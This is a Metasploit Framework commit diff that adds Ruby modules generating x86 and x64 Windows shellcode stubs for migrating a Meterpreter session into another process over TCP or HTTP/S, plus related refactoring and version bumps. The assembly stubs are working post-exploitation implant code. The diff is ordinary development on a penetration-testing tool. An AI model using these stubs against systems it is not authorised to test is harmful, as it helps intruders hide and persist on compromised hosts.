Land #7674, Move migration stub generation code into msf

bug/bundler_fix 4.13.9
William Webb 2016-12-22 17:53:00 -06:00
commit 5702bd6745
No known key found for this signature in database
GPG Key ID: 341763D0308DA650
23 changed files with 431 additions and 55 deletions

View File

@ -14,7 +14,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.2.4)
metasploit-payloads (= 1.2.5)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.4)
msgpack
@ -169,7 +169,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.2.4)
metasploit-payloads (1.2.5)
metasploit_data_models (2.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)

View File

@ -25,13 +25,10 @@ module Msf::Payload::TransportConfig
def transport_config_bind_tcp(opts={})
{
:scheme => 'tcp',
:lhost => datastore['LHOST'],
:lport => datastore['LPORT'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i
}
scheme: 'tcp',
lhost: datastore['LHOST'],
lport: datastore['LPORT'].to_i
}.merge(timeout_config)
end
def transport_config_reverse_https(opts={})
@ -54,19 +51,26 @@ module Msf::Payload::TransportConfig
end
{
:scheme => 'http',
:lhost => opts[:lhost] || datastore['LHOST'],
:lport => (opts[:lport] || datastore['LPORT']).to_i,
:uri => uri,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
scheme: 'http',
lhost: opts[:lhost] || datastore['LHOST'],
lport: (opts[:lport] || datastore['LPORT']).to_i,
uri: uri,
ua: datastore['MeterpreterUserAgent'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
proxy_type: datastore['PayloadProxyType'],
proxy_user: datastore['PayloadProxyUser'],
proxy_pass: datastore['PayloadProxyPass']
}.merge(timeout_config)
end
private
def timeout_config
{
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
retry_total: datastore['SessionRetryTotal'].to_i,
retry_wait: datastore['SessionRetryWait'].to_i
}
end

View File

@ -0,0 +1,5 @@
# -*- coding: binary -*-
require 'msf/core/payload/windows/block_api'
require 'msf/core/payload/windows/migrate_tcp'
require 'msf/core/payload/windows/migrate_http'

View File

@ -0,0 +1,49 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/block_api'
module Msf
###
#
# Not really a payload, but more a mixin that lets common functionality
# live in spot that makes sense, so that code duplication is reduced.
#
###
module Payload::Windows::MigrateCommon
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi
#
# Constructs the migrate stub on the fly
#
def generate(opts={})
asm = %Q^
migrate:
cld
pop esi
pop esi ; esi now contains the pointer to the migrate context
sub esp, 0x2000
call start
#{asm_block_api}
start:
pop ebp
#{generate_migrate(opts)}
signal_event:
push dword [esi] ; Event handle is pointed at by esi
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call ebp ; SetEvent(handle)
call_payload:
call dword [esi+8] ; Invoke the associated payload
^
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
end
end

View File

@ -0,0 +1,40 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migration over HTTP/S transports on x86.
#
###
module Payload::Windows::MigrateHttp
include Msf::Payload::Windows::MigrateCommon
def initialize(info={})
super(update_info(info,
'Name' => 'HTTP/S Transport Migration (x86)',
'Description' => 'Migration stub to use over HTTP/S transports via x86',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86
))
end
#
# Constructs the migrate stub on the fly
#
def generate_migrate(opts={})
# This payload only requires the common features, so return
# an empty string indicating no code requires.
''
end
end
end

View File

@ -0,0 +1,68 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/migrate_common'
module Msf
###
#
# Payload that supports migration over the TCP transport on x86.
#
###
module Payload::Windows::MigrateTcp
include Msf::Payload::Windows::MigrateCommon
WSA_VERSION = 0x190
def initialize(info={})
super(update_info(info,
'Name' => 'TCP Transport Migration (x86)',
'Description' => 'Migration stub to use over the TCP transport via x86',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86
))
end
#
# Constructs the migrate stub on the fly
#
def generate_migrate(opts={})
%Q^
load_ws2_32:
push '32'
push 'ws2_'
push esp ; pointer to 'ws2_32'
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA('ws2_32')
init_networking:
mov eax, #{WSA_VERSION} ; EAX == version, and is also used for size
sub esp, eax ; allocate space for the WSAData structure
push esp ; Pointer to the WSAData structure
push eax ; Version required
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup(Version, &WSAData)
create_socket:
push eax ; eax is 0 on success, use it for flags
push eax ; reserved
lea ebx, [esi+0x10] ; get offset to the WSAPROTOCOL_INFO struct
push ebx ; pass the info struct address
push eax ; no protocol is specified
inc eax
push eax ; SOCK_STREAM
inc eax
push eax ; AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)
xchg edi, eax
^
end
end
end

View File

@ -0,0 +1,5 @@
# -*- coding: binary -*-
require 'msf/core/payload/windows/x64/block_api'
require 'msf/core/payload/windows/x64/migrate_tcp'
require 'msf/core/payload/windows/x64/migrate_http'

View File

@ -0,0 +1,50 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/block_api'
module Msf
###
#
# Not really a payload, but more a mixin that lets common functionality
# live in spot that makes sense, so that code duplication is reduced.
#
###
module Payload::Windows::MigrateCommon_x64
include Msf::Payload::Windows
include Msf::Payload::Windows::BlockApi_x64
#
# Constructs the migrate stub on the fly
#
def generate(opts={})
asm = %Q^
migrate:
cld
mov rsi, rcx
sub rsp, 0x2000
and rsp, ~0xF
call start
#{asm_block_api}
start:
pop rbp
#{generate_migrate(opts)}
signal_event:
mov rcx, qword [rsi] ; Event handle is pointed at by rsi
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
call rbp ; SetEvent(handle)
call_payload:
call qword [rsi+8] ; Invoke the associated payload
^
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
end
end
end

View File

@ -0,0 +1,41 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/block_api'
module Msf
###
#
# Payload that supports migration over HTTP/S transports on x64.
#
###
module Payload::Windows::MigrateHttp_x64
include Msf::Payload::Windows::MigrateCommon_x64
def initialize(info={})
super(update_info(info,
'Name' => 'HTTP/S Transport Migration (x64)',
'Description' => 'Migration stub to use over HTTP/S transports via x64',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64
))
end
#
# Constructs the migrate stub on the fly
#
def generate_migrate(opts={})
# This payload only requires the common features, so return
# an empty string indicating no code requires.
''
end
end
end

View File

@ -0,0 +1,71 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/windows/x64/migrate_common'
module Msf
###
#
# Payload that supports migration over the TCP transport on x64.
#
###
module Payload::Windows::MigrateTcp_x64
include Msf::Payload::Windows::MigrateCommon_x64
# Minimum size, plus bytes for alignment
WSA_SIZE = 0x1A0
def initialize(info={})
super(update_info(info,
'Name' => 'TCP Transport Migration (x64)',
'Description' => 'Migration stub to use over the TCP transport via x64',
'Author' => ['OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64
))
end
#
# Constructs the migrate stub on the fly
#
def generate_migrate(opts={})
%Q^
load_ws2_32:
mov r14, 'ws2_32'
push r14
mov rcx, rsp ; pointer to 'ws2_32'
sub rsp, #{WSA_SIZE} ; alloc size, plus alignment (used later)
mov r13, rsp ; save pointer to this struct
sub rsp, 0x28 ; space for api function calls (really?)
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp ; LoadLibraryA('ws2_32')
init_networking:
mov rdx, r13 ; pointer to the wsadata struct
push 2
pop rcx ; Version = 2
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call rbp ; WSAStartup(Version, &WSAData)
create_socket:
xor r8, r8 ; protocol not specified
push r8 ; flags == 0
push r8 ; reserved == NULL
lea r9, [rsi+0x10] ; Pointer to the info in the migration context
push 1
pop rdx ; SOCK_STREAM
push 2
pop rcx ; AF_INET
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)
xchg rdi, rax
^
end
end
end

View File

@ -7,6 +7,8 @@ require 'rex/post/meterpreter/client'
# Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace.
require 'msf/core/payload/windows'
require 'msf/core/payload/windows/migrate'
require 'msf/core/payload/windows/x64/migrate'
# URI uuid and checksum stuff
require 'msf/core/payload/uuid'
@ -479,7 +481,8 @@ class ClientCore < Extension
# Rex::Post::FileStat#writable? isn't available
end
blob = generate_payload_stub(target_process)
migrate_stub = generate_migrate_stub(target_process)
migrate_payload = generate_migrate_payload(target_process)
# Build the migration request
request = Packet.create_request('core_migrate')
@ -491,23 +494,25 @@ class ClientCore < Extension
raise RuntimeError, 'The writable dir is too long', caller
end
pos = blob.index(DEFAULT_SOCK_PATH)
pos = migrate_payload.index(DEFAULT_SOCK_PATH)
if pos.nil?
raise RuntimeError, 'The meterpreter binary is wrong', caller
end
blob[pos, socket_path.length + 1] = socket_path + "\x00"
migrate_payload[pos, socket_path.length + 1] = socket_path + "\x00"
ep = elf_ep(blob)
ep = elf_ep(migrate_payload)
request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
end
request.add_tlv( TLV_TYPE_MIGRATE_PID, target_pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD_LEN, migrate_payload.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])
request.add_tlv( TLV_TYPE_MIGRATE_STUB_LEN, migrate_stub.length )
request.add_tlv( TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])
if target_process['arch'] == ARCH_X64
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
@ -604,7 +609,47 @@ class ClientCore < Extension
end
end
private
private
def get_current_transport
transport_list[:transports][0]
end
def generate_migrate_stub(target_process)
stub = nil
if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
t = get_current_transport
c = Class.new(::Msf::Payload)
if target_process['arch'] == ARCH_X86
c.include(::Msf::Payload::Windows::BlockApi)
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp)
end
else
c.include(::Msf::Payload::Windows::BlockApi_x64)
case t[:url]
when /^tcp/i
c.include(::Msf::Payload::Windows::MigrateTcp_x64)
when /^http/i
# Covers HTTP and HTTPS
c.include(::Msf::Payload::Windows::MigrateHttp_x64)
end
end
stub = c.new().generate
else
raise RuntimeError, "Unsupported session #{client.session_type}"
end
stub
end
def transport_prepare_request(method, opts={})
unless valid_transport?(opts[:transport]) && opts[:lport]
@ -694,12 +739,12 @@ class ClientCore < Extension
end
def generate_payload_stub(process)
def generate_migrate_payload(target_process)
case client.platform
when 'windows'
blob = generate_windows_stub(process)
blob = generate_migrate_windows_payload(target_process)
when 'linux'
blob = generate_linux_stub
blob = generate_migrate_linux_payload
else
raise RuntimeError, "Unsupported platform '#{client.platform}'"
end
@ -707,31 +752,27 @@ class ClientCore < Extension
blob
end
def generate_windows_stub(process)
def generate_migrate_windows_payload(target_process)
c = Class.new( ::Msf::Payload )
c.include( ::Msf::Payload::Stager )
# Include the appropriate reflective dll injection module for the target process architecture...
if process['arch'] == ARCH_X86
if target_process['arch'] == ARCH_X86
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
elsif process['arch'] == ARCH_X64
elsif target_process['arch'] == ARCH_X64
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
else
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
raise RuntimeError, "Unsupported target architecture '#{target_process['arch']}' for process '#{target_process['name']}'.", caller
end
# Create the migrate stager
migrate_stager = c.new()
blob = migrate_stager.stage_meterpreter
blob
migrate_stager.stage_meterpreter
end
def generate_linux_stub
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
blob
def generate_migrate_linux_payload
MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
end
def elf_ep(payload)

View File

@ -80,12 +80,14 @@ TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MIGRATE_PAYLOAD_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
TLV_TYPE_MIGRATE_STUB_LEN = TLV_META_TYPE_UINT | 410
TLV_TYPE_MIGRATE_STUB = TLV_META_TYPE_STRING | 411
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.4'
spec.add_runtime_dependency 'metasploit-payloads', '1.2.5'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
# Needed by msfgui and other rpc components

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957999
CachedSize = 957487
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 959043
CachedSize = 958531
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 959043
CachedSize = 958531
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957999
CachedSize = 957487
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 957999
CachedSize = 957487
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189935
CachedSize = 1189423
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190979
CachedSize = 1190467
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190979
CachedSize = 1190467
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189935
CachedSize = 1189423
include Msf::Payload::TransportConfig
include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189935
CachedSize = 1189423
include Msf::Payload::TransportConfig
include Msf::Payload::Windows